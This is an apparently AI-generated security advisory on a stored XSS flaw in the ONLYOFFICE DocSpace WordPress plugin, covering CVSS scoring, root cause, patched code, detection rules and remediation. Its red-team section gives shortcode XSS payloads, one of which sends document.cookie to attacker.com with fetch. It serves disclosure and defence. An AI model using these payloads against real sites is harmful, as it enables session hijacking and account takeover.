CVE-2024-11750

Executive Summary

CVE-2024-11750 is a Stored Cross-Site Scripting (XSS) vulnerability in the ONLYOFFICE DocSpace plugin for WordPress, affecting all versions up to and including 2.1.1. The flaw resides in the plugin's onlyoffice-docspace shortcode, where user-supplied attributes are not properly sanitized or escaped before being output. This allows authenticated attackers with at least contributor-level access to inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or further WordPress compromise.

The vulnerability is classified as a WordPress ecosystem issue, as it is a plugin-specific flaw. The CVSS score of 6.4 (Medium) reflects the need for authentication but the potential for significant impact due to the stored nature of the attack and the ability to target higher-privileged users.

Supply Chain & Package Security

This vulnerability is specific to the ONLYOFFICE DocSpace WordPress plugin. While no direct supply chain compromise is indicated, the lack of a patch at the time of analysis means that all installations of the plugin are at risk. Users should monitor the official WordPress plugin repository and the vendor's website for updates. The plugin is distributed via the WordPress plugin directory, making it a potential target for supply chain attacks if the vendor's update mechanism is compromised.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - An attacker needs contributor-level access or higher.
• User Interaction (UI): None (N) - The victim does not need to perform any action beyond visiting the page.
• Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) - Limited information disclosure is possible.
• Integrity (I): Low (L) - Limited modification of data is possible.
• Availability (A): None (N) - No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature can lead to severe consequences, including full WordPress site compromise if an administrator's session is hijacked.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in a WordPress shortcode. The onlyoffice-docspace shortcode is used to embed ONLYOFFICE documents within WordPress pages. The plugin fails to properly sanitize and escape user-supplied attributes passed to the shortcode.

Attack Flow:

1. An authenticated user with contributor-level access or higher creates or edits a post/page.
2. The attacker inserts the [onlyoffice-docspace] shortcode with malicious JavaScript in one of its attributes, e.g., [onlyoffice-docspace attribute="<script>alert('XSS')</script>"].
3. The plugin processes the shortcode and outputs the attribute value without proper escaping.
4. When any user (including administrators) views the page, the injected script executes in their browser.

Root Cause: Insufficient input sanitization and output escaping on user-supplied shortcode attributes. The plugin likely uses echo or similar functions without applying WordPress's built-in escaping functions like esc_attr() or esc_html().

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

function onlyoffice_docspace_shortcode($atts) {
    $attribute = $atts['attribute'];
    echo "<div class='onlyoffice-docspace' data-attribute='$attribute'>";
    // ... rest of the shortcode logic
}

Patched Code (Expected):

function onlyoffice_docspace_shortcode($atts) {
    $attribute = esc_attr($atts['attribute']);
    echo "<div class='onlyoffice-docspace' data-attribute='" . esc_attr($attribute) . "'>";
    // ... rest of the shortcode logic
}

The patched version uses esc_attr() to escape the attribute value before output, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress installation with the ONLYOFFICE DocSpace plugin version <= 2.1.1.
• An authenticated user account with contributor-level privileges or higher.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Create a new post or edit an existing one.
3. Switch to the Text/Code editor.
4. Insert the following shortcode with a malicious payload:

   [onlyoffice-docspace attribute="<script>alert(document.cookie)</script>"]
   

5. Publish or update the post.
6. When an administrator or any other user visits the post, the JavaScript executes.

Advanced Payload Example:

[onlyoffice-docspace attribute="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Blue Team (Detection & Prevention)

Detection:

• Monitor for posts/pages containing the onlyoffice-docspace shortcode with suspicious attributes.
• Look for unusual JavaScript in shortcode attributes.
• Use Web Application Firewall (WAF) rules to block common XSS patterns in shortcode attributes.

Prevention:

• Immediately update the plugin to a patched version once available.
• If no patch is available, disable the plugin or restrict its usage to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Use WordPress security plugins that monitor for malicious shortcode usage.

Indicators of Compromise (IOCs)

• File Indicators:

  • Presence of the onlyoffice-docspace plugin in /wp-content/plugins/onlyoffice-docspace/
  • Modified plugin files (check file integrity against original)

• Network Indicators:

  • Outbound connections to attacker-controlled domains from WordPress admin pages
  • HTTP requests containing the onlyoffice-docspace shortcode with suspicious attributes

• Log Indicators:

  • WordPress audit logs showing creation/editing of posts with the shortcode by low-privileged users
  • Web server logs showing requests to pages containing the malicious shortcode

• Behavioral Indicators:

  • Unexpected JavaScript execution on WordPress pages
  • Unauthorized administrative actions performed after visiting a page with the shortcode

Detection Engineering

YARA Rule

rule CVE_2024_11750_Stored_XSS {
    meta:
        description = "Detects stored XSS in ONLYOFFICE DocSpace shortcode attributes"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-11750"
    strings:
        $shortcode = /\[onlyoffice-docspace\s+[^\]]*?[a-zA-Z_-]+=["'][^"']*?<script[^>]*?>.*?<\/script>["']/
        $xss_payload = /<script[^>]*?>.*?<\/script>/
    condition:
        $shortcode or ($xss_payload and #shortcode > 0)
}

Sigma Rule

title: CVE-2024-11750 - Stored XSS in ONLYOFFICE DocSpace Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit stored XSS via ONLYOFFICE DocSpace shortcode
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 'onlyoffice-docspace'
        cs-uri-query|re: '\[onlyoffice-docspace\s+[^\]]*?<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcode attributes (unlikely)
level: high
tags:
    - attack.t1190
    - cve.2024.11750

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11750 - Stored XSS in ONLYOFFICE DocSpace Shortcode"; flow:to_server,established; content:"onlyoffice-docspace"; http_uri; pcre:"/\[onlyoffice-docspace\s+[^\]]*?<script/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not critical to operations.
2. Restrict contributor-level access to trusted users only.
3. Implement a Web Application Firewall (WAF) rule to block requests containing the malicious shortcode pattern.

Long-term Fix:

• Apply the official patch from ONLYOFFICE once released.
• If no patch is available, consider forking the plugin and applying the fix manually (add esc_attr() to all shortcode attribute outputs).

Workaround:

• Use a WordPress security plugin that can monitor and block malicious shortcode usage.
• Implement a Content Security Policy (CSP) that restricts script execution.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.